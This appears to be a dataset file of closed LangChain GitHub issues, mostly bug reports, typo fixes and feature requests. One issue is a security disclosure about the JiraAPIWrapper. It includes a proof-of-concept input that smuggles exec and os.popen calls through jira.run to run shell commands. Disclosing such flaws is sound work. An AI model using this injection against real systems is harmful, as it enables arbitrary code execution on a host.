status
stringclasses 1
value | repo_name
stringlengths 9
24
| repo_url
stringlengths 28
43
| issue_id
int64 1
104k
| updated_files
stringlengths 8
1.76k
| title
stringlengths 4
369
| body
stringlengths 0
254k
⌀ | issue_url
stringlengths 37
56
| pull_url
stringlengths 37
54
| before_fix_sha
stringlengths 40
40
| after_fix_sha
stringlengths 40
40
| report_datetime
timestamp[ns, tz=UTC] | language
stringclasses 5
values | commit_datetime
timestamp[us, tz=UTC] |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 5,104 | ["langchain/document_loaders/googledrive.py"] | GoogleDriveLoader seems to be pulling trashed documents from the folder | ### System Info
Hi
testing this loader, it looks as tho this is pulling trashed files from folders. I think this should be default to false if anything and be an opt in.
### Who can help?
_No response_
### Information
- [X] The official example notebooks/scripts
### Related Components
- [X] Document Loaders
### Reproduction
use GoogleDriveLoader
1. point to folder
2. move a file to trash in folder
Reindex
File still can be searched in vector store.
### Expected behavior
Should not be searchable | https://github.com/langchain-ai/langchain/issues/5104 | https://github.com/langchain-ai/langchain/pull/5220 | eff31a33613bcdc179d6ad22febbabf8dccf80c8 | f0ea093de867e5f099a4b5de2bfa24d788b79133 | 2023-05-22T21:21:14Z | python | 2023-05-25T05:26:17Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 5,072 | ["langchain/vectorstores/weaviate.py", "tests/integration_tests/vectorstores/test_weaviate.py"] | Add option to use _additional fields while executing a Weaviate query | ### Feature request
Weaviate has the option to pass _additional field while executing a query
https://weaviate.io/developers/weaviate/api/graphql/additional-properties
It would be good to be able to use this feature and add the response to the results. It is a small change, without breaking the API. We can use the kwargs argument, similar to where_filter in the python class weaviate.py.
### Motivation
When comparing and understanding query results, using certainty is a good way.
### Your contribution
I like to contribute to the PR. As it would be my first contribution, I need to understand the integration tests and build the project, and I already tested the change in my local code sample. | https://github.com/langchain-ai/langchain/issues/5072 | https://github.com/langchain-ai/langchain/pull/5085 | 87bba2e8d3a7772a32eda45bc17160f4ad8ae3d2 | b95002289409077965d99636b15a45300d9c0b9d | 2023-05-21T22:37:40Z | python | 2023-05-23T01:57:10Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 5,071 | ["docs/modules/models/llms/integrations/llamacpp.ipynb"] | Issue: LLamacpp wrapper slows down the model | ### Issue you'd like to raise.
Looks like the inference time of the LLamacpp model is a lot slower when using LlamaCpp wrapper (compared to the llama-cpp original wrapper).
Here are the results for the same prompt on the RTX 4090 GPU.
When using llamacpp-python Llama wrapper directly:
When using langchain LlamaCpp wrapper:
As you can see, it takes nearly 12x more time for the prompt_eval stage (2.67 ms per token vs 35 ms per token)
Am i missing something? In both cases, the model is fully loaded to the GPU. In the case of the Langchain wrapper, no chain was used, just direct querying of the model using the wrapper's interface. Same parameters.
Link to the example notebook (values are a lil different, but the problem is the same): https://github.com/mmagnesium/personal-assistant/blob/main/notebooks/langchain_vs_llamacpp.ipynb
Appreciate any help.
### Suggestion:
Unfortunately, no suggestion, since i don't understand whats the problem. | https://github.com/langchain-ai/langchain/issues/5071 | https://github.com/langchain-ai/langchain/pull/5344 | 44b48d95183067bc71942512a97b846f5b1fb4c3 | f6615cac41453a9bb3a061a3ffb29327f5e04fb2 | 2023-05-21T21:49:24Z | python | 2023-05-29T13:43:26Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 5,065 | ["langchain/vectorstores/faiss.py"] | FAISS should allow you to specify id when using add_text | ### System Info
langchain 0.0.173
faiss-cpu 1.7.4
python 3.10.11
Void linux
### Who can help?
@hwchase17
### Information
- [ ] The official example notebooks/scripts
- [X] My own modified scripts
### Related Components
- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [X] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async
### Reproduction
It's a logic error in langchain.vectorstores.faiss.__add()
https://github.com/hwchase17/langchain/blob/0c3de0a0b32fadb8caf3e6d803287229409f9da9/langchain/vectorstores/faiss.py#L94-L100
https://github.com/hwchase17/langchain/blob/0c3de0a0b32fadb8caf3e6d803287229409f9da9/langchain/vectorstores/faiss.py#L118-L126
The id is not possible to specify as a function argument. This makes it impossible to detect duplicate additions, for instance.
### Expected behavior
It should be possible to specify id of inserted documents / texts using the add_documents / add_texts methods, as it is in the Chroma object's methods.
As a side-effect this ability would also fix the inability to remove duplicates (see https://github.com/hwchase17/langchain/issues/2699 and https://github.com/hwchase17/langchain/issues/3896 ) by the approach of using ids unique to the content (I use a hash, for example). | https://github.com/langchain-ai/langchain/issues/5065 | https://github.com/langchain-ai/langchain/pull/5190 | f0ea093de867e5f099a4b5de2bfa24d788b79133 | 40b086d6e891a3cd1e678b1c8caac23b275d485c | 2023-05-21T16:39:28Z | python | 2023-05-25T05:26:46Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 5,039 | ["docs/modules/agents.rst"] | DOC: Misspelling in agents.rst | ### Issue with current documentation:
Within the documentation, in the last sentence change should be **charge**.
Reference link: https://python.langchain.com/en/latest/modules/agents.html
<img width="511" alt="image" src="https://github.com/hwchase17/langchain/assets/67931050/52f6eacd-7930-451f-abd7-05eca9479390">
### Idea or request for content:
I propose correcting the misspelling as in change does not make sense and that the Action Agent is supposed to be in charge of the execution. | https://github.com/langchain-ai/langchain/issues/5039 | https://github.com/langchain-ai/langchain/pull/5038 | f9f08c4b698830b6abcb140d42da98ca7084f082 | 424a573266c848fe2e53bc2d50c2dc7fc72f2c15 | 2023-05-20T15:50:20Z | python | 2023-05-21T05:24:08Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 5,001 | ["libs/langchain/tests/integration_tests/embeddings/test_openai.py"] | Azure OpenAI Embeddings failed due to no deployment_id set. | ### System Info
Broken by #4915
Error: `Must provide an 'engine' or 'deployment_id' parameter to create a <class 'openai.api_resources.embedding.Embedding'>`
I'm putting a PR out to fix this now.
### Who can help?
_No response_
### Information
- [X] The official example notebooks/scripts
- [X] My own modified scripts
### Related Components
- [ ] LLMs/Chat Models
- [X] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async
### Reproduction
Run example notebook: https://github.com/hwchase17/langchain/blob/22d844dc0795e7e53a4cc499bf4974cb83df490d/docs/modules/models/text_embedding/examples/azureopenai.ipynb
### Expected behavior
Embedding using Azure OpenAI should work. | https://github.com/langchain-ai/langchain/issues/5001 | https://github.com/langchain-ai/langchain/pull/5002 | 45741bcc1b65e588e560b60e347ab391858d53f5 | 1d3735a84c64549d4ef338506ae0b68d53541b44 | 2023-05-19T20:18:47Z | python | 2023-08-11T22:43:01Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,959 | ["docs/modules/chains/examples/llm_summarization_checker.ipynb"] | DOC: Misspelling in LLMSummarizationCheckerChain documentation | ### Issue with current documentation:
In the doc as mentioned below:-
https://python.langchain.com/en/latest/modules/chains/examples/llm_summarization_checker.html
Assumptions is misspelled as assumtions.
### Idea or request for content:
Fix the misspelling in the doc markdown. | https://github.com/langchain-ai/langchain/issues/4959 | https://github.com/langchain-ai/langchain/pull/4961 | bf5a3c6dec2536c4652c1ec960b495435bd13850 | 13c376345e5548cc12a8b4975696f7b625347a4b | 2023-05-19T04:45:16Z | python | 2023-05-19T14:40:04Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,896 | ["langchain/vectorstores/redis.py"] | Redis Vectorstore: Redis.from_texts_return_keys() got multiple values for argument 'cls' | ### System Info
```
Python 3.10.4
langchain==0.0.171
redis==3.5.3
redisearch==2.1.1
```
### Who can help?
@tylerhutcherson
### Information
- [ ] The official example notebooks/scripts
- [x] My own modified scripts
### Related Components
- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [X] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async
### Reproduction
I was able to override issue #3893 by temporarily disabling the ` _check_redis_module_exist`, post which I'm getting the below error when calling the `from_texts_return_keys` within the `from_documents` method in Redis class. Seems the argument `cls` is not needed in the `from_texts_return_keys` method, since it is already defined as a classmethod.
```
File "/workspaces/chatdataset_backend/adapters.py", line 96, in load
vectorstore = self.rds.from_documents(documents=documents, embedding=self.embeddings)
File "/home/codespace/.python/current/lib/python3.10/site-packages/langchain/vectorstores/base.py", line 296, in from_documents
return cls.from_texts(texts, embedding, metadatas=metadatas, **kwargs)
File "/home/codespace/.python/current/lib/python3.10/site-packages/langchain/vectorstores/redis.py", line 448, in from_texts
instance, _ = cls.from_texts_return_keys(
TypeError: Redis.from_texts_return_keys() got multiple values for argument 'cls'
```
### Expected behavior
Getting rid of cls argument from all the `Redis` class methods wherever required. Was able to solve the issue with this fix. | https://github.com/langchain-ai/langchain/issues/4896 | https://github.com/langchain-ai/langchain/pull/4932 | a87a2524c7f8f55846712a682ffc80b5fc224b73 | 616e9a93e08f4f042c492b89545e85e80592ffbe | 2023-05-18T02:46:53Z | python | 2023-05-19T20:02:03Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,878 | ["docs/modules/indexes/document_loaders/examples/google_drive.ipynb", "langchain/document_loaders/googledrive.py"] | Add the possibility to define what file types you want to load from a Google Drive | ### Feature request
It would be helpful if we could define what file types we want to load via the [Google Drive loader](https://python.langchain.com/en/latest/modules/indexes/document_loaders/examples/google_drive.html#) i.e.: only docs or sheets or PDFs.
### Motivation
The current loads will load 3 file types: doc, sheet and pdf, but in my project I only want to load "application/vnd.google-apps.document".
### Your contribution
I'm happy to contribute with a PR. | https://github.com/langchain-ai/langchain/issues/4878 | https://github.com/langchain-ai/langchain/pull/4926 | dfbf45f028bd282057c5d645c0ebb587fa91dda8 | c06a47a691c96fd5065be691df6837143df8ef8f | 2023-05-17T19:46:54Z | python | 2023-05-18T13:27:53Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,833 | ["langchain/tools/jira/prompt.py", "langchain/utilities/jira.py", "tests/integration_tests/utilities/test_jira_api.py"] | Arbitrary code execution in JiraAPIWrapper | ### System Info
LangChain version:0.0.171
windows 10
### Who can help?
_No response_
### Information
- [X] The official example notebooks/scripts
- [ ] My own modified scripts
### Related Components
- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [X] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async
### Reproduction
1. Set the environment variables for jira and openai
```python
import os
from langchain.utilities.jira import JiraAPIWrapper
os.environ["JIRA_API_TOKEN"] = "your jira api token"
os.environ["JIRA_USERNAME"] = "your username"
os.environ["JIRA_INSTANCE_URL"] = "your url"
os.environ["OPENAI_API_KEY"] = "your openai key"
```
2. Run jira
```python
jira = JiraAPIWrapper()
output = jira.run('other',"exec(\"import os;print(os.popen('id').read())\")")
```
3. The `id` command will be executed.
Commands can be change to others and attackers can execute arbitrary code.
### Expected behavior
The code can be executed without any check. | https://github.com/langchain-ai/langchain/issues/4833 | https://github.com/langchain-ai/langchain/pull/6992 | 61938a02a1e76fa6c6e8203c98a9344a179c810d | a2f191a32229256dd41deadf97786fe41ce04cbb | 2023-05-17T04:11:40Z | python | 2023-07-05T19:56:01Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,830 | ["langchain/cache.py"] | GPTCache keep creating new gptcache cache_obj | ### System Info
Langchain Version: 0.0.170
Platform: Linux X86_64
Python: 3.9
### Who can help?
@SimFG
_No response_
### Information
- [X] The official example notebooks/scripts
- [ ] My own modified scripts
### Related Components
- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async
### Reproduction
Steps to produce behaviour:
```python
from gptcache import Cache
from gptcache.adapter.api import init_similar_cache
from langchain.cache import GPTCache
# Avoid multiple caches using the same file, causing different llm model caches to affect each other
def init_gptcache(cache_obj: Cache, llm str):
init_similar_cache(cache_obj=cache_obj, data_dir=f"similar_cache_{llm}")
langchain.llm_cache = GPTCache(init_gptcache)
llm = OpenAI(model_name="text-davinci-002", temperature=0.2)
llm("tell me a joke")
print("cached:", langchain.llm_cache.lookup("tell me a joke", llm_string))
# cached: None
```
the cache won't hits
### Expected behavior
the gptcache should have a hit | https://github.com/langchain-ai/langchain/issues/4830 | https://github.com/langchain-ai/langchain/pull/4827 | c9e2a0187549f6fa2661b943c13af9d63d44eee1 | a8ded21b6963b0041e9931f6e397573cb498cbaf | 2023-05-17T03:26:37Z | python | 2023-05-18T16:42:35Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,825 | ["langchain/retrievers/time_weighted_retriever.py"] | TypeError: unsupported operand type(s) for -: 'datetime.datetime' and 'NoneType' | ### System Info
langchain version 0.0.171
python version 3.9.13
macos
### Who can help?
_No response_
### Information
- [X] The official example notebooks/scripts
- [ ] My own modified scripts
### Related Components
- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [X] Memory
- [X] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async
### Reproduction
This is a problem with the generative agents.
To reproduce please follow the tutorial outlines here:
https://python.langchain.com/en/latest/use_cases/agent_simulations/characters.html
When you get to the following line of code you will get an error:
`print(tommie.get_summary(force_refresh=True))`
```
File ~/.pyenv/versions/3.9.13/lib/python3.9/site-packages/langchain/retrievers/time_weighted_retriever.py:14, in _get_hours_passed(time, ref_time)
12 def _get_hours_passed(time: datetime.datetime, ref_time: datetime.datetime) -> float:
13 """Get the hours passed between two datetime objects."""
---> 14 return (time - ref_time).total_seconds() / 3600
TypeError: unsupported operand type(s) for -: 'datetime.datetime' and 'NoneType'
```
### Expected behavior
The ref time should be a datetime and tommies summary should be printed. | https://github.com/langchain-ai/langchain/issues/4825 | https://github.com/langchain-ai/langchain/pull/5045 | c28cc0f1ac5a1ddd6a9dbb7d6792bb0f4ab0087d | e173e032bcceae3a7d3bb400c34d554f04be14ca | 2023-05-17T02:24:24Z | python | 2023-05-22T22:47:03Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,818 | ["docs/modules/agents/agents/custom_agent.ipynb", "docs/modules/indexes/retrievers/examples/wikipedia.ipynb", "docs/use_cases/agents/wikibase_agent.ipynb", "docs/use_cases/code/code-analysis-deeplake.ipynb"] | Typo in DeepLake Code Analysis Tutorials | ### Discussed in https://github.com/hwchase17/langchain/discussions/4817
<div type='discussions-op-text'>
<sup>Originally posted by **markanth** May 16, 2023</sup>
Under Use Cases -> Code Understanding, you will find:
The full tutorial is available below.
[Twitter the-algorithm codebase analysis with Deep Lake](https://python.langchain.com/en/latest/use_cases/code/twitter-the-algorithm-analysis-deeplake.html): A notebook walking through how to parse github source code and run queries conversation.
[LangChain codebase analysis with Deep Lake](https://python.langchain.com/en/latest/use_cases/code/code-analysis-deeplake.html): A notebook walking through how to analyze and do question answering over THIS code base.
In both full tutorials, I think that this line:
model = ChatOpenAI(model='gpt-3.5-turbo') # switch to 'gpt-4'
should be:
model = ChatOpenAI(model_name='gpt-3.5-turbo')
(model_name instead of model)
</div> | https://github.com/langchain-ai/langchain/issues/4818 | https://github.com/langchain-ai/langchain/pull/4851 | 8dcad0f2722d011bea2e191204aca9ac7d235546 | e257380debb8640268d2d2577f89139b3ea0b46f | 2023-05-16T22:21:09Z | python | 2023-05-17T15:52:22Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,791 | ["langchain/retrievers/weaviate_hybrid_search.py", "langchain/vectorstores/redis.py", "langchain/vectorstores/weaviate.py", "tests/integration_tests/retrievers/test_weaviate_hybrid_search.py", "tests/integration_tests/vectorstores/test_weaviate.py"] | Accept UUID list as an argument to add texts and documents into Weaviate vectorstore | ### Feature request
When you call `add_texts` and `add_docuemnts` methods from a Weaviate instance, it always generate UUIDs for you, which is a neat feature
https://github.com/hwchase17/langchain/blob/bee136efa4393219302208a1a458d32129f5d539/langchain/vectorstores/weaviate.py#L137
However, there are specific use cases where you want to generate UUIDs by yourself and pass them via `add_texts` and `add_docuemnts`.
Therefore, I'd like to support `uuids` field in `kwargs` argument to these methods, and use those values instead of generating new ones inside those methods.
### Motivation
Both `add_texts` and `add_documents` methods internally call [batch.add_data_object](https://weaviate-python-client.readthedocs.io/en/stable/weaviate.batch.html#weaviate.batch.Batch.add_data_object) method of a Weaviate client.
The document states as below:
> Add one object to this batch. NOTE: If the UUID of one of the objects already exists then the existing object will be replaced by the new object.
This behavior is extremely useful when you need to update and delete document from a known field of the document.
First of all, Weaviate expects UUIDv3 and UUIDv5 as UUID formats. You can find the information below:
https://weaviate.io/developers/weaviate/more-resources/faq#q-are-there-restrictions-on-uuid-formatting-do-i-have-to-adhere-to-any-standards
And UUIDv5 allows you to generate always the same value based on input string, as if it's a hash algorithm.
https://docs.python.org/2/library/uuid.html
Let's say you have unique identifier of the document, and use it to generate your own UUID.
This way you can directly update, delete or replace documents without searching the documents by metadata.
This will saves your time, your code, and network bandwidth and computer resources.
### Your contribution
I'm attempting to make a PR, | https://github.com/langchain-ai/langchain/issues/4791 | https://github.com/langchain-ai/langchain/pull/4800 | e78c9be312e5c59ec96f22d6e531c28329ca6312 | 6561efebb7c1cbd3716f5e7f03f18ad9b3b1afa5 | 2023-05-16T15:31:48Z | python | 2023-05-16T22:26:46Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,757 | ["docs/modules/models/llms/examples/llm_caching.ipynb"] | Have resolved：GPTcache :[Errno 63] File name too long: "similar_cache_[('_type', 'openai'), ('best_of', 2), ('frequency_penalty', 0), ('logit_bias', {}), ('max_tokens', 256), ('model_name', 'text-davinci-002'), ('n', 2), ('presence_penalty', 0), ('request_timeout', None), ('stop', None), ('temperature', 0.7), ('top_p', 1)] | ### System Info
langchain=0.017 python=3.9.16
### Who can help?
_No response_
### Information
- [X] The official example notebooks/scripts
- [ ] My own modified scripts
### Related Components
- [X] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [X] Memory
- [X] Agents / Agent Executors
- [ ] Tools / Toolkits
- [X] Chains
- [X] Callbacks/Tracing
- [ ] Async
### Reproduction
```
from gptcache import Cache
from gptcache.manager.factory import manager_factory
from gptcache.processor.pre import get_prompt
from langchain.cache import GPTCache
import hashlib
# Avoid multiple caches using the same file, causing different llm model caches to affect each other
def get_hashed_name(name):
return hashlib.sha256(name.encode()).hexdigest()
def init_gptcache(cache_obj: Cache, llm: str):
hashed_llm = get_hashed_name(llm)
cache_obj.init(
pre_embedding_func=get_prompt,
data_manager=manager_factory(manager="map", data_dir=f"map_cache_{hashed_llm}"),
)
langchain.llm_cache = GPTCache(init_gptcache)
llm("Tell me a joke")
```
### Expected behavior
import hashlib | https://github.com/langchain-ai/langchain/issues/4757 | https://github.com/langchain-ai/langchain/pull/4985 | ddc2d4c21e5bcf40e15896bf1e377e7dc2d63ae9 | f07b9fde74dc3e30b836cc0ccfb478e5923debf5 | 2023-05-16T01:14:21Z | python | 2023-05-19T23:35:36Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,742 | ["langchain/vectorstores/weaviate.py"] | Issue: Weaviate: why similarity_search uses with_near_text? | ### Issue you'd like to raise.
[similarity_search](https://github.com/hwchase17/langchain/blob/09587a32014bb3fd9233d7a567c8935c17fe901e/langchain/vectorstores/weaviate.py#L174-L175) in weaviate uses near_text.
This requires weaviate to be set up with a [text2vec module](https://weaviate.io/developers/weaviate/modules/retriever-vectorizer-modules).
At the same time, the weaviate also takes an [embedding model](https://github.com/hwchase17/langchain/blob/09587a32014bb3fd9233d7a567c8935c17fe901e/langchain/vectorstores/weaviate.py#L86) as one of it's init parameters.
Why don't we use the embedding model to vectorize the search query and then use weaviate's near_vector operator to do the search?
### Suggestion:
If a user is using langchain with weaviate, we can assume that they want to use langchain's features to generate the embeddings and as such, will not have any text2vec module enabled. | https://github.com/langchain-ai/langchain/issues/4742 | https://github.com/langchain-ai/langchain/pull/4824 | d1b6839d97ea1b0c60f226633da34d97a130c183 | 0a591da6db5c76722e349e03692d674e45ba626a | 2023-05-15T18:37:07Z | python | 2023-05-17T02:43:15Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,720 | ["langchain/llms/huggingface_endpoint.py", "langchain/llms/huggingface_hub.py", "langchain/llms/huggingface_pipeline.py", "langchain/llms/self_hosted_hugging_face.py", "tests/integration_tests/llms/test_huggingface_endpoint.py", "tests/integration_tests/llms/test_huggingface_hub.py", "tests/integration_tests/llms/test_huggingface_pipeline.py", "tests/integration_tests/llms/test_self_hosted_llm.py"] | Add summarization task type for HuggingFace APIs | ### Feature request
Add summarization task type for HuggingFace APIs.
This task type is described by [HuggingFace inference API](https://huggingface.co/docs/api-inference/detailed_parameters#summarization-task)
### Motivation
My project utilizes LangChain to connect multiple LLMs, including various HuggingFace models that support the summarization task. Integrating this task type is highly convenient and beneficial.
### Your contribution
I will submit a PR. | https://github.com/langchain-ai/langchain/issues/4720 | https://github.com/langchain-ai/langchain/pull/4721 | 580861e7f206395d19cdf4896a96b1e88c6a9b5f | 3f0357f94acb1e669c8f21f937e3438c6c6675a6 | 2023-05-15T11:23:49Z | python | 2023-05-15T23:26:17Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,714 | ["langchain/callbacks/manager.py"] | Error in on_llm callback: 'AsyncIteratorCallbackHandler' object has no attribute 'on_llm' | ### System Info
langchain version:0.0.168
python version 3.10
### Who can help?
@agola11
### Information
- [ ] The official example notebooks/scripts
- [ ] My own modified scripts
### Related Components
- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [ ] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [X] Callbacks/Tracing
- [ ] Async
### Reproduction
When using the RetrievalQA chain, an error message "Error in on_llm callback: 'AsyncIteratorCallbackHandler' object has no attribute 'on_llm'"
This code can run at version 0.0.164
```python
class Chain:
def __init__(self):
self.cb_mngr_stdout = AsyncCallbackManager([StreamingStdOutCallbackHandler()])
self.cb_mngr_aiter = AsyncCallbackManager([AsyncIteratorCallbackHandler()])
self.qa_stream = None
self.qa = None
self.make_chain()
def make_chain(self):
chain_type_kwargs = {"prompt": MyPrompt.get_retrieval_prompt()}
qa = RetrievalQA.from_chain_type(llm=ChatOpenAI(model_name="gpt-3.5-turbo", max_tokens=1500, temperature=.1), chain_type="stuff",
retriever=Retrieval.vectordb.as_retriever(search_kwargs={"k": Retrieval.context_num}),
chain_type_kwargs=chain_type_kwargs, return_source_documents=True)
qa_stream = RetrievalQA.from_chain_type(llm=ChatOpenAI(model_name="gpt-3.5-turbo", max_tokens=1500, temperature=.1,
streaming=True, callback_manager=self.cb_mngr_aiter),
chain_type="stuff", retriever=Retrieval.vectordb.as_retriever(search_kwargs={"k": Retrieval.context_num}),
chain_type_kwargs=chain_type_kwargs, return_source_documents=True)
self.qa = qa
self.qa_stream = qa_stream
```
call function
```python
resp = await chains.qa.acall({"query": "xxxxxxx"}) # no problem
resp = await chains.qa_stream.acall({"query": "xxxxxxxx"}) # error
```
### Expected behavior
self.qa_stream return result like self.qa,or like langchain version 0.0.164 | https://github.com/langchain-ai/langchain/issues/4714 | https://github.com/langchain-ai/langchain/pull/4717 | bf0904b676f458386096a008155ffeb805bc52c5 | 2e43954bc31dc5e23c7878149c0e061c444416a7 | 2023-05-15T06:30:00Z | python | 2023-05-16T01:36:21Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,682 | ["langchain/vectorstores/deeplake.py", "tests/integration_tests/vectorstores/test_deeplake.py"] | Setting overwrite to False on DeepLake constructor still overwrites | ### System Info
Langchain 0.0.168, Python 3.11.3
### Who can help?
@anihamde
### Information
- [ ] The official example notebooks/scripts
- [X] My own modified scripts
### Related Components
- [ ] LLMs/Chat Models
- [ ] Embedding Models
- [ ] Prompts / Prompt Templates / Prompt Selectors
- [ ] Output Parsers
- [ ] Document Loaders
- [X] Vector Stores / Retrievers
- [ ] Memory
- [ ] Agents / Agent Executors
- [ ] Tools / Toolkits
- [ ] Chains
- [ ] Callbacks/Tracing
- [ ] Async
### Reproduction
db = DeepLake(dataset_path=f"hub://{username_activeloop}/{lake_name}", embedding_function=embeddings, overwrite=False)
### Expected behavior
Would expect overwrite to not take place; however, it does. This is easily resolvable, and I'll share a PR to address this shortly. | https://github.com/langchain-ai/langchain/issues/4682 | https://github.com/langchain-ai/langchain/pull/4683 | 8bb32d77d0703665d498e4d9bcfafa14d202d423 | 03ac39368fe60201a3f071d7d360c39f59c77cbf | 2023-05-14T19:15:22Z | python | 2023-05-16T00:39:16Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,668 | ["docs/modules/agents/agents/custom_agent.ipynb", "docs/modules/indexes/retrievers/examples/wikipedia.ipynb", "docs/use_cases/agents/wikibase_agent.ipynb", "docs/use_cases/code/code-analysis-deeplake.ipynb"] | DOC: Typo in Custom Agent Documentation | ### Issue with current documentation:
https://python.langchain.com/en/latest/modules/agents/agents/custom_agent.html
### Idea or request for content:
I was going through the documentation for creating a custom agent (https://python.langchain.com/en/latest/modules/agents/agents/custom_agent.html) and noticed a potential typo. In the section discussing the components of a custom agent, the text mentions that an agent consists of "three parts" but only two are listed: "Tools" and "The agent class itself".
I believe the text should say "two parts" instead of "three". Could you please confirm if this is a typo, or if there's a missing third part that needs to be included in the list? | https://github.com/langchain-ai/langchain/issues/4668 | https://github.com/langchain-ai/langchain/pull/4851 | 8dcad0f2722d011bea2e191204aca9ac7d235546 | e257380debb8640268d2d2577f89139b3ea0b46f | 2023-05-14T12:52:17Z | python | 2023-05-17T15:52:22Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,631 | ["langchain/llms/huggingface_text_gen_inference.py"] | [feature] Add support for streaming response output to HuggingFaceTextGenInference LLM | ### Feature request
Per title, request is to add feature for streaming output response, something like this:
```python
from langchain.llms.huggingface_text_gen_inference import HuggingFaceTextGenInference
from langchain.callbacks.streaming_stdout import StreamingStdOutCallbackHandler
llm = HuggingFaceTextGenInference(
inference_server_url='http://localhost:8010',
max_new_tokens=512,
top_k=10,
top_p=0.95,
typical_p=0.95,
temperature=0.01,
stop_sequences=['</s>'],
repetition_penalty=1.03,
stream=True
)
print(llm("What is deep learning?", callbacks=[StreamingStdOutCallbackHandler()]))
```
### Motivation
Having streaming response output is useful for chat situations to reduce perceived latency for the user. Current implementation of HuggingFaceTextGenInference class implemented in [PR 4447](https://github.com/hwchase17/langchain/pull/4447) does not support streaming.
### Your contribution
Feature added in [PR #4633](https://github.com/hwchase17/langchain/pull/4633) | https://github.com/langchain-ai/langchain/issues/4631 | https://github.com/langchain-ai/langchain/pull/4633 | 435b70da472525bfec4ced38a8446c878af2c27b | c70ae562b466ba9a6d0f587ab935fd9abee2bc87 | 2023-05-13T16:16:48Z | python | 2023-05-15T14:59:12Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,628 | ["docs/modules/models/llms/integrations/gpt4all.ipynb", "langchain/llms/gpt4all.py"] | GPT4All Python Bindings out of date [move to new multiplatform bindings] | ### Feature request
The official gpt4all python bindings now exist in the `gpt4all` pip package. [Langchain](https://python.langchain.com/en/latest/modules/models/llms/integrations/gpt4all.html) currently relies on the no-longer maintained pygpt4all package. Langchain should use the `gpt4all` python package with source found here: https://github.com/nomic-ai/gpt4all/tree/main/gpt4all-bindings/python
### Motivation
The source at https://github.com/nomic-ai/gpt4all/tree/main/gpt4all-bindings/python supports multiple OS's and platforms (other bindings do not). Nomic AI will be officially maintaining these bindings.
### Your contribution
I will be happy to review a pull request and ensure that future changes are PR'd upstream to langchains :) | https://github.com/langchain-ai/langchain/issues/4628 | https://github.com/langchain-ai/langchain/pull/4567 | e2d7677526bd649461db38396c0c3b21f663f10e | c9e2a0187549f6fa2661b943c13af9d63d44eee1 | 2023-05-13T15:15:06Z | python | 2023-05-18T16:38:54Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 4,575 | ["libs/langchain/langchain/embeddings/openai.py"] | AzureOpenAI InvalidRequestError: Too many inputs. The max number of inputs is 1. | ### System Info
Langchain version == 0.0.166
Embeddings = OpenAIEmbeddings - model: text-embedding-ada-002 version 2
LLM = AzureOpenAI
### Who can help?
@hwchase17
@agola11
### Information
- [ ] The official example notebooks/scripts
- [X] My own modified scripts
### Related Components
